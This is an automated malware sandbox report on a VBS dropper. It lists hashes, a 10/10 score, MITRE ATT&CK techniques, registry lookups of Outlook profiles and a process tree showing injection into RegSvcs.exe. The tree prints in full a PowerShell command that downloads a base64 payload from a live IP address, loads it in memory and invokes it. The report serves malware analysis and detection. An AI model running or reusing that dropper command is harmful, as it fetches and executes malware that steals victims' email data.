43f40a78d3e447655b12c956bcbd64540d19f774216858dfb0791cdbb492ea07

Analysis

max time kernel
90s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
01/02/2023, 15:13

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General

Target
MT_26009786_45342023_TXT.vbs
Size 396KB
Sample230201-slrmtaac74
SHA256 43f40a78d3e447655b12c956bcbd64540d19f774216858dfb0791cdbb492ea07
MD5 3d0a93057793efef0c46b3548092097c
SHA1 5f794fc15e991c2e5935c47b9eb069400ebf2054
SHA512 fadad465d14088868548d3c7d50a27fd333da044cb2c18163aab649a4190a163d4971a20e69d0088097c2a47110521771e485da20cef421f5f109934c8d290f5
SSDEEP 192:fQIov4+++++TI+++++S+++++u+C+++++B+++++oRUAzHN+++++o+++++o+++++oG:fM26UjH
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

collection

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://172.174.176.153/dll/NoStartUp.ppam

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	644	powershell.exe
8	644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 644 set thread context of 3408	644	powershell.exe	84

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
644	powershell.exe
644	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	644	powershell.exe
Token: SeDebugPrivilege	3408	RegSvcs.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 644	1712	WScript.exe	83
PID 1712 wrote to memory of 644	1712	WScript.exe	83
PID 644 wrote to memory of 3408	644	powershell.exe	84
PID 644 wrote to memory of 3408	644	powershell.exe	84
PID 644 wrote to memory of 3408	644	powershell.exe	84
PID 644 wrote to memory of 3408	644	powershell.exe	84
PID 644 wrote to memory of 3408	644	powershell.exe	84
PID 644 wrote to memory of 3408	644	powershell.exe	84
PID 644 wrote to memory of 3408	644	powershell.exe	84
PID 644 wrote to memory of 3408	644	powershell.exe	84

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MT_26009786_45342023_TXT.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.zncnbvcbznxvcbnzbxcxzxhjvsd/42.021.871.591//:ptth'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:644
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3408

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

memory/644-133-0x000002E59DA30000-0x000002E59DA52000-memory.dmp

Download

memory/644-134-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Download

memory/644-137-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Download

memory/3408-135-0x0000000000400000-0x0000000000430000-memory.dmp

Download

memory/3408-138-0x0000000005590000-0x0000000005B34000-memory.dmp

Download

memory/3408-139-0x0000000004F50000-0x0000000004FB6000-memory.dmp

Download

memory/3408-140-0x00000000060A0000-0x0000000006132000-memory.dmp

Download

memory/3408-141-0x0000000006070000-0x000000000607A000-memory.dmp

Download

memory/3408-142-0x00000000062E0000-0x0000000006330000-memory.dmp

Download